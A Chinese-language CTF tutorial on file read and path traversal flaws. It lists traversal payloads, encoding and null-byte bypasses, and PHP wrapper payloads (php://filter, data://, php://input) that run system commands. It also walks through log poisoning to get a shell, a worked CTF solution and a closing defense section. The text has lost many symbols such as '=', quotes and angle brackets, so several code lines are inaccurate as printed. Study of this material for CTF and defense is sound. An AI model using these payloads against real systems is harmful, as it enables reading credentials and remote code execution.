
一、漏洞原理文件讀取漏洞又稱任意文件讀取、目錄遍歷、路徑穿越是指 Web 應用在讀取文件時未對用戶輸入的文件路徑做充分過濾導致攻擊者可以通過構造特殊路徑如../讀取服務器上的任意文件。核心成因應用將用戶可控的參數直接拼接到文件讀取函數中沒有過濾路徑穿越字符或過濾不充分。典型脆弱代碼示例$file $_GET[file]; include(/var/www/html/ . $file);訪問?file../../../../etc/passwd即可讀取系統密碼文件。CTF 中的常見目標讀取配置文件獲取數據庫密碼、密鑰等讀取/flag文件讀取網站源碼進行代碼審計發現其他漏洞讀取系統敏感文件/etc/passwd、/etc/shadow讀取日志文件配合日志注入 getshell二、常見文件讀取函數與場景2.1 PHP 中常見的危險函數函數說明include()/require()包含并執行文件可 getshellinclude_once()/require_once()同上但只包含一次file_get_contents()讀取文件內容并返回字符串file()讀取文件內容返回數組fopen()/fread()打開并讀取文件readfile()讀取文件并直接輸出highlight_file()/show_source()高亮顯示源碼parse_ini_file()讀取配置文件2.2 Python 中常見的危險函數# 不當使用 open() 或文件讀取 path request.args.get(file) with open(/var/www/html/ path, r) as f: return f.read()2.3 Java 中的危險場景String filename request.getParameter(file); File file new File(/var/www/html/ filename); // 直接讀取文件流2.4 常見的漏洞點網站模板切換?templateindex語言文件加載?langzh文件下載功能?downloadreport.pdf日志查看功能?logaccess.log靜態資源代理?url/static/js/app.js三、路徑穿越Path Traversal基礎3.1 基礎知識../表示上一級目錄在 Linux 中/etc/passwd是絕對路徑Windows 使用\或../如..\..\windows\win.ini3.2 基本測試 Payload?file../../../../etc/passwd ?file/etc/passwd ?fileC:\Windows\win.ini3.3 判斷路徑深度不知道當前目錄在服務器中的層級時可以逐級增加../直到成功讀取目標文件?file../etc/passwd ?file../../etc/passwd ?file../../../etc/passwd ...通常加 5-8 層../即可到達根目錄。四、常見過濾與繞過技巧CTF 重點4.1 過濾../1使用絕對路徑如果只過濾了../但沒限制絕對路徑可以直接用?file/etc/passwd2多層嵌套繞過某些過濾只替換一次....// → 過濾掉 ../ 后變成 ../ ..././ → 過濾掉 ../ 后變成 ../3編碼繞過URL 編碼%2e%2e%2f代表../雙重 URL 編碼%252e%252e%252f服務器解碼一次后變成%2e%2e%2f再解碼變成../Unicode 編碼..%c0%af、..%ef%bc%8f全角斜線4反斜杠替代某些系統尤其是 Windows..\..\windows\win.ini4.2 過濾了關鍵字如flag、etc、passwd等1通配符繞過如果系統支持?file/etc/pass* ?file/etc/pas?wd2路徑拼接利用路徑中的.和空字符?file/etc/./passwd ?file/etc//passwd3截斷繞過舊版 PHPmagic_quotes_gpcOff使用%00截斷后面的擴展名?file../../etc/passwd%00.jpg服務器拼接后為include(/var/www/html/../../etc/passwd\0.jpg)但 C 語言字符串遇到\0即終止所以實際包含/etc/passwd。4.3 強制添加了后綴如.php、.html應用自動給用戶輸入加上擴展名如include($_GET[file] . .php);繞過方法%00 截斷舊版 PHP?file../etc/passwd%00路徑長度截斷舊版 PHP 5.2.x利用 PHP 對路徑長度限制傳入超長路徑截斷后綴。利用偽協議PHP?filephp://filter/convert.base64-encode/resource/flag可包含任意文件而不受后綴限制。利用 zip/phar 協議?filephar://uploads/shell.jpg/shell需要先上傳包含 PHP 代碼的 zip/phar 文件并繞過前面提到的大小寫/后綴問題。包含日志文件或 session 文件如果知道 session 保存路徑如/tmp/sess_xxx且內容可控如 User-Agent 可注入 PHP 代碼則可以通過文件包含實現 getshell。4.4 過濾了斜杠/使用 URL 編碼%2f使用 Unicode 編碼%c0%af4.5 PHP 偽協議繞過如果只是文件讀取file_get_contents可以利用 PHP 偽協議讀取源碼或文件1讀取源碼并 Base64 返回防止代碼被執行?filephp://filter/convert.base64-encode/resourceindex.php解碼即可得到源碼。2直接讀取文件內容?filephp://filter/resource/flag3利用 data 協議執行代碼如果allow_url_includeOn?filedata://text/plain,?php system(cat /flag);?或者 base64 編碼?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg4利用 input 協議如果allow_url_includeOn通過 POST 發送 PHP 代碼?filephp://input POST: ?php system(cat /flag);?4.6 包含日志文件 getshell當無法直接讀取 flag但存在文件包含漏洞且allow_url_includeOff時可以配合其他可控內容的文件來 getshell。常見可控文件位置Apache 訪問日志/var/log/apache2/access.log、/var/log/httpd/access_logNginx 訪問日志/var/log/nginx/access.logSSH 登錄日志/var/log/auth.log需注意權限郵件日志/var/log/mail.logSession 文件/tmp/sess_PHPSESSIDPHP 默認 session 存儲路徑上傳的臨時文件利用步驟在請求的 User-Agent 或其它可控頭中寫入?php system(cat /flag);?訪問日志中會記錄該 User-Agent通過文件包含漏洞包含日志文件?file/var/log/apache2/access.log日志中的 PHP 代碼被執行拿到 flag五、不同場景下的利用手法5.1 PHPinclude()系列 → 直接 get shellphp://inputPOST 提交 PHP 代碼data://直接寫入代碼日志包含如上所述session 文件包含先注冊 session在 session 文件中寫入代碼再包含臨時文件包含利用條件競爭PHP 上傳文件會先存為臨時文件/tmp/phpXXXXXX可利用php://filter和條件競爭在臨時文件被刪除前包含它5.2 PHPfile_get_contents()→ 文件讀取主要用于讀取文件內容不能執行 PHP 代碼。可以使用php://filter讀取源碼。5.3 Python 文件讀取通常不存在類似 PHP 的偽協議主要是路徑穿越。注意使用../逐級穿越Unicode 編碼繞過/proc/self/environ讀取環境變量/proc/self/cwd/flag讀取當前工作目錄下的 flag5.4 Java 文件讀取Java 文件讀取通常使用FileInputStream或 Spring 的Resource。繞過方法../穿越file:///etc/passwd協議Spring Boot 中可能存在/actuator泄露讀取WEB-INF/web.xml、application.properties獲取配置信息六、CTF 實戰示例文件讀取到 Flag題目描述一個網站提供“查看新聞”功能URL 為?pagenews1頁面顯示對應新聞內容。存在任意文件讀取。步驟初步測試嘗試?pagenews2確認參數可控。嘗試?page../../../../etc/passwd頁面返回系統用戶信息確認存在路徑穿越。判斷是否 PHP嘗試讀取當前文件源碼?pagephp://filter/convert.base64-encode/resourceindex若返回 base64 編碼的index.php源碼說明支持 PHP 偽協議且當前語言為 PHP。嘗試直接讀 Flag?page../../../../flag若成功返回 flag 內容題目結束。如果 flag 路徑未知讀取/proc/self/environ查看環境變量可能找到 flag 路徑讀取/etc/nginx/sites-enabled/default或 Apache 配置尋找網站根目錄讀取當前文件源碼審計是否有隱藏邏輯或 flag 路徑如果讀取的是包含.php后綴的文件include($_GET[page] . .php)使用php://filter/convert.base64-encode/resource/flag繞過不需要后綴。或舊版 PHP 使用%00截斷?page../../../../flag%00。如果無法直接讀取 flag如文件權限限制考慮日志包含。在 User-Agent 中寫入?php system(cat /flag);?訪問任意頁面觸發記錄。再通過?page../../../../var/log/apache2/access.log包含日志文件執行代碼獲取 flag。拿到 Flag使用php://filter讀取/flag的 base64 內容解碼得到flag{path_traversal_master}。七、常見防御措施白名單限制僅允許讀取預定義的文件如用 switch 匹配文件名不接受路徑參數。過濾穿越字符過濾../、..\但要考慮多種繞過方式。限制文件讀取根目錄如將用戶輸入拼接到固定路徑后但單純拼接不可靠仍可穿越。禁用偽協議allow_url_includeOffallow_url_fopenOff禁止php://input、data://等。使用open_basedir限制 PHP 可訪問的目錄范圍。最小權限運行Web 服務以低權限用戶運行限制可讀取的文件范圍。禁用危險函數disable_functions禁用system、exec等即使 getshell 也無法執行系統命令。做好日志權限隔離避免 Web 用戶可讀取系統日志。八、總結文件讀取漏洞的核心是路徑拼接未過濾導致攻擊者可以穿越目錄讀取任意文件。CTF 中考察的重點是繞過過濾編碼、截斷、偽協議和組合利用日志包含 getshell。PHP 偽協議php://filter、php://input、data://是 PHP 環境下的殺手锏。日志包含和 session 包含是“間接 getshell”的經典手法必掌握。防御不能只靠黑名單過濾必須結合白名單、目錄限制、權限控制等多層措施。